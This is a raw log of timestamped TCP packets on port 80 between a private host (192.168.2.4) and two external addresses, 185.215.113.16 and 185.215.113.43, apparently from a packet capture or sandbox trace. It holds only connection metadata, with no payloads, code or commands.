Dec 27, 2024 15:04:29.025260925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.025294065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.065768003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.065809965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.065995932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.066004038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.066061974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.076314926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.076361895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.076426029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.076670885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.076766968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.076807976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.076836109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.078223944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.078284979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.081677914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.081722975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.081815004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.081978083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.094667912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.094734907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.094780922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.095072985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.095123053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.107589960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.107661009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.107755899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.108082056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.108201981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.108252048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.108710051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.108814955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.109512091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.109544992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.144007921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.144027948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.144155025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.144232988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.144279003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.145109892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.145198107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.145241022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.145587921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.145600080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.145642042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.146061897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.146152973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.146195889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.146889925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.146977901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.147022009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.147676945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.147798061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.147847891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.148474932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.148601055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.148654938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.149327993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.190144062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.190172911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.190212011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.190340042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.190382004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.205984116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.206003904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.206085920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.206511974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.206522942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.206679106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.207272053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.207283020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.207293987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.207340956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.207797050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.207843065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.218027115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.218130112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.218239069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.218300104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.232053041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.232069969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.232100964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.232247114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.232364893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.232924938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.233061075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.233128071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.233532906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.233545065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.233607054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.234180927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.234235048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.269841909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.269862890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.269874096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.269885063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.269896984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.269953966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.269995928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.270802021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.270818949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.270838022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.270858049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.270895958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.270916939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.271661997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.271723032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.271754980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.272521973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.272563934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.272579908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.273271084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.273323059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.273435116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.274055958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.274120092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.274523020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.318059921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.318106890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.318121910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.330123901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.330156088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.330199957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.330457926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.330506086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.330605030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.331288099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.331351042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.331463099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.331574917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.331615925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.332217932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.342833042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.342854023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.342925072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.343053102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.343106031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.356137991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.356268883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.356360912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.356453896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.356513023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.356553078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.356646061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.357393980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.357451916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.357460976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.358141899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.358203888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.358289957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.358901978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.358975887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.392756939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.392802000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.392887115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.392967939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.394109011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.394125938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.394210100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.394423008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.394471884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.394475937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.395200968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.395255089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.395261049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.395881891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.395905018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.395927906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.396681070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.396728992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.396927118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.397456884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.397500038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.397504091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.398258924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.398303986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.398315907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.442574978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.442773104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.442779064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.454977989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.455044985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.455219984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.455379009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.455435038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.455504894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.456316948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.456327915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.456382036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.456933022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.457027912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.466995001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.467073917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.467134953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.467346907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480312109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480382919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.480478048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480772972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480825901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.480842113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480912924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.480959892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.481492043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.481628895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.481688023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.482275963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.482479095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.482521057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.483093977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.517107010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.517132044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.517229080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.517400980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.517460108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.518476963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.518676043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.518728971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.518985033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.518997908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.519035101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.519790888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.519846916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.519893885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.520580053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.520673037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.520715952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.521312952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.521442890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.521488905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.522181034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.522245884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.522289038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.522922039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.523022890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.523065090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.579505920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.579552889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.579648018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.579798937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.579940081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.579993010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.580652952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.580718040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.580771923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.581469059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.581621885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.581664085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.582298040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.591298103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.591334105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.591372013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.591475964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.591515064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.604690075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.604729891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.604824066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.604893923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.605142117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.605180979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.605196953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.605890036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.605942965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.605994940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.606734991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.606750011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.606795073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.641448021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.641493082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.641568899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.641725063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.641778946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.641804934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.643141985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.643203020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.643218040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.643647909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.643704891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.643718004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.644388914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.644455910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.644479036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.644959927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.645018101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.645040989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.645773888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.645859957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.645879984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.646568060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.646634102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.646667957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.647489071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.647547960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.653100014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.653115988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.653193951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.704016924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704066038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704180956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.704282045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704397917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704452991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.704835892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704931021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.704979897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.705719948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.705885887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.705938101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.706434965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.706531048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.706581116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.715504885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.715552092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.715656996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.715756893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729471922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729490995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729505062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729516029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729530096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.729651928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.729717970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.730392933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.730405092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.730458975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.730671883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.730817080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.730859041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.731403112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.780833960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.907463074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:05:05.229712009 CET	49813	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:05.349344969 CET	80	49813	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:05.349471092 CET	49813	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:05.349739075 CET	49813	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:05.469286919 CET	80	49813	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:06.737324953 CET	80	49813	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:06.737397909 CET	49813	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:08.250245094 CET	49813	80	192.168.2.4	185.215.113.43
